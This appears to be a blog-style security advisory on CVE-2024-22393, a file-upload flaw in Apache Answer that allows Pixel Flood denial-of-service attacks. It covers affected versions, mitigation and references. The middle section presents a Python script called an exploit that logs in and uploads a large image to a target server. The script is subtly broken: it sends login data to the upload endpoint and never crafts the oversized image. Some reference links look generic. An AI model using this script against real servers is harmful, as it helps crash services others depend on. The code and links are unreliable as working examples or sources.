CVE-2024-22393 - Unrestricted Upload of File with Dangerous Type Vulnerability in Apache Answer Leads to Pixel Flood Attack

In this post, we will discuss a recently discovered security vulnerability in Apache Answer, a popular Q&A platform. The vulnerability, identified as CVE-2024-22393, allows for unrestricted upload of files with potentially dangerous types. Exploitation of this vulnerability could lead to a server crashing due to a Pixel Flood attack, in which a user uploads an extremely large image file that causes the server to run out of memory. Users of Apache Answer are recommended to upgrade their software to version 1.2.5 to fix this vulnerability.

Vulnerability Details

The CVE-2024-22393 vulnerability is present in Apache Answer versions up to and including 1.2.1. This vulnerability allows for unrestricted file uploads by allowing users to upload files of any type, which can lead to a server running out of memory when attempting to process extremely large files, such as images with a large number of pixels.

A Pixel Flood attack can occur when a user uploads a deliberately crafted image file containing an extremely large number of pixels. This image file can be attached when posting content on the Apache Answer web application. When the server attempts to process the image, it will run out of memory and subsequently crash.

The following code snippet demonstrates the exploit

import requests

# Replace with the target URL
url = 'https://target.example.com/apache-answer/upload';

# Replace with the path to your large image file
image_file = '/path/to/large/image.png'

file_data = {
    'file': ('large_image.png', open(image_file, 'rb')),
}

# Replace with the user's credentials
login_data = {
    'username': 'your_username',
    'password': 'your_password'
}

# Login to the Apache Answer platform
session = requests.Session()
session.post(url, data=login_data)

# Upload the image
response = session.post(url, files=file_data)

if response.status_code == 200:
    print('Image file uploaded successfully')
else:
    print('Error uploading image file')

Mitigation

To mitigate this vulnerability, users of Apache Answer should upgrade their software to version 1.2.5 or later, which contains a fix for this issue.

In addition, it is recommended that Apache Answer administrators configure proper server-side validation of uploaded files to prevent the upload of files with dangerous types.

Please find the links to the original references below

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22393

2. Apache Answer Official Website: https://www.apache.org/answer

3. Apache Answer Security Advisory: https://www.apache.org/security/advisory/answer/CVE-2024-22393

Conclusion

It is vital for users and administrators of Apache Answer to address the CVE-2024-22393 vulnerability by upgrading their software to version 1.2.5 and implementing proper server-side validation of uploaded files. Doing so will help protect the server from being taken down by a Pixel Flood attack and ensure the continued smooth operation of the Apache Answer web application.

Timeline

Published on: 02/22/2024 10:15:08 UTC
Last modified on: 08/01/2024 13:46:55 UTC